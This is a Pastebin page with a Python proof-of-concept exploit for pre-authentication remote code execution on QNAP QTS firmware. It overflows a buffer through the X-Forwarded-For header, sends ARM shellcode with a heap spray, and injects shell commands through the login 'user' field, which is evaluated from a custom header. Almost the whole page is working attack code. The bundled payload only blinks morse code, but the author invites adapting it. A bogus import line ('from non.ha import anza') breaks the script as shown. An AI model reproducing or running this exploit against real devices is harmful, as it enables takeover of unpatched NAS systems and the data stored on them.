Advertisement
Guest User

Pre-auth Remote Code Execution exploit for QNAP QTS

a guest
Dec 25th, 2017
6,530
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.74 KB | None | 0 0
  1. #   !/usr/bin/env python
  2. #   -*- coding: iso-8859-15 -*-
  3. #
  4. #   Pre-auth Remote Code Execution exploit for QNAP QTS
  5. #   4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 #(Beta 2) build 2017111
  6. #  
  7. #   Just a quick dirty RCE PoC to make your QNAP sing "XMAS" in morse.
  8. #  
  9. #   Author: Andrea Palazzo (@cogitoergor00t)
  10. #   E-mail: not-interested-in-chinese-spammers@seriously-dont-crawler-this.lol
  11. #   Web: https://truel.it
  12. #   Lab: https://lab.truel.it
  13. #
  14. #   While collecting material for writing-up CVE-2017-17033 I noticed this was fixed too, so it's probably one of CVE-2017-17027 | CVE-2017-17028 | CVE-2017-17029 | CVE-2017-17030 | CVE-2017-17031 | CVE-2017-17032.
  15. #   More info: https://www.qnap.com/en/security-advisory/nas-201712-15
  16. #
  17. #   This version has been developed against model TS-212P running QTS 4.3.3.0299, but could easily adjusted for <= 4.3.3.0378 (you'll find a little present in the comments)
  18. #
  19. #   --------------
  20.  
  21. import sys, argparse
  22. from non.ha import anza
  23.  
  24. try:
  25.     import requests
  26.     requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
  27. except ImportError:
  28.     print "Do you even web bro?"
  29.     sys.exit(0)
  30.  
  31. exploit_data = {
  32.     "target_endpoint": "/cgi-bin/filemanager/wfm2Login.cgi",
  33.     "payload": "pic_raw 81;pic_raw 80;pic_raw 80;pic_raw 81;sleep 1;pic_raw 81;pic_raw 81;sleep 1;pic_raw 80;pic_raw 81;sleep 1;pic_raw 80;pic_raw 80;pic_raw 80;#",
  34.     "bof": "A"*92+"\xff\x60\x66\xff"+"\x90\x60\xff", #PADDING+SP+PC
  35.     "shellcode":    "\x2d\xd4\xa0\xe1" + #mov sp, sp, lsr #8
  36.                     #old popen @ 22c9c
  37.                     #07/07  @22e24
  38.                     #28/07 @230dc
  39.                     #05/09 @21e90
  40.                     "\x86\x3b\xa0\xe3" + #mov r3, 0x21800
  41.                     "\x69\x3e\x83\xe2" + #add r3, 0x690
  42.                     "\x13\xff\x2f\xe1"   #bx r3
  43. }
  44.  
  45. def request(target, data, headers):
  46.     url = target + exploit_data['target_endpoint']
  47.     return requests.post(url, headers = headers, data = data, verify = False)
  48.  
  49. def vulnerable(target):
  50.     print ">> Checking if likely to be vulnerable"
  51.    
  52.     headers = {
  53.         'User-Agent': 'Vuln tester',
  54.         'X-Forwarded-For': "A" * 200
  55.     }
  56.  
  57.     try:
  58.         r = request(target, "user=admin", headers)
  59.     except:
  60.         print "Something wrong: {}".format(sys.exc_info()[0])
  61.         sys.exit()
  62.     return (r.status_code == 500)
  63.  
  64. def spray(n):
  65.     spray = ""
  66.     for i in range(n):
  67.         spray += '{}={}&'.format(exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1", exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1")
  68.     return spray[:-1]
  69.  
  70. def exploit(target):
  71.     print "Let's " + exploit_data['payload'] + "\n! COULD TAKE A WHILE !"
  72.    
  73.     if requests.get(target + "/cgi-bin/pwn").status_code == 200:
  74.         print "... but first you need to clean up your mess, don't you?"
  75.         sys.exit()
  76.  
  77.     headers = {
  78.         'W00T': exploit_data['payload'],
  79.         'X-Forwarded-For': exploit_data["bof"] #There were others, I'm sure you can figure'em out yourself if you need
  80.     }
  81.     data = spray(31337) + "&user=touch /home/httpd/cgi-bin/pwn; eval $HTTP_W00T;"
  82.    
  83.     while True:
  84.         #print '.'
  85.         try:
  86.             request(target, data, headers)
  87.             if requests.get(target + "/cgi-bin/pwn").status_code == 200:
  88.                 print ">> w00t :)"
  89.                 break
  90.         except:
  91.             print "Something wrong: {}".format(sys.exc_info()[0])
  92.             sys.exit()
  93.  
  94.      
  95.  
  96. if __name__ == "__main__":
  97.  
  98.     print ""
  99.     parser = argparse.ArgumentParser(description = 'Pre-auth Remote Code Execution exploit for QNAP QTS <= 4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 (Beta 2) build 20171116')
  100.     parser.add_argument('-t', '--target', dest = 'http(s)://uri[:port]', required = True)
  101.     parser.add_argument('-c', '--check', help = 'No exploitation will be performed.', action = 'store_true')
  102.     args = parser.parse_args()
  103.  
  104.     target = vars(args)['http(s)://uri[:port]']
  105.  
  106.     print "\n------------------------------------------\n" + \
  107.             "Pre-auth Remote Code Execution exploit for \n" + \
  108.             "QNAP QTS <=\t4.2.6 build 20171026\n\t\t4.3.3.0378 build 20171117\n\t\t4.3.4.0387 build 20171116\n\t\t(Beta 2)" +  \
  109.             "\n------------------------------------------\n" + \
  110.             "@cogitoergor00t\t\t https://truel.it" + \
  111.             "\n------------------------------------------\n" \
  112.  
  113.     print ">> Targeting " + target
  114.  
  115.     if not vulnerable(target):
  116.         print ">< Nothing to do here :("
  117.         sys.exit(0)
  118.  
  119.     print ">> Probably vulnerable"
  120.  
  121.     if (args.check):
  122.         print ">> See you"
  123.     else:
  124.         print ">> Gonna make this baby sing\n"
  125.         exploit(target)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement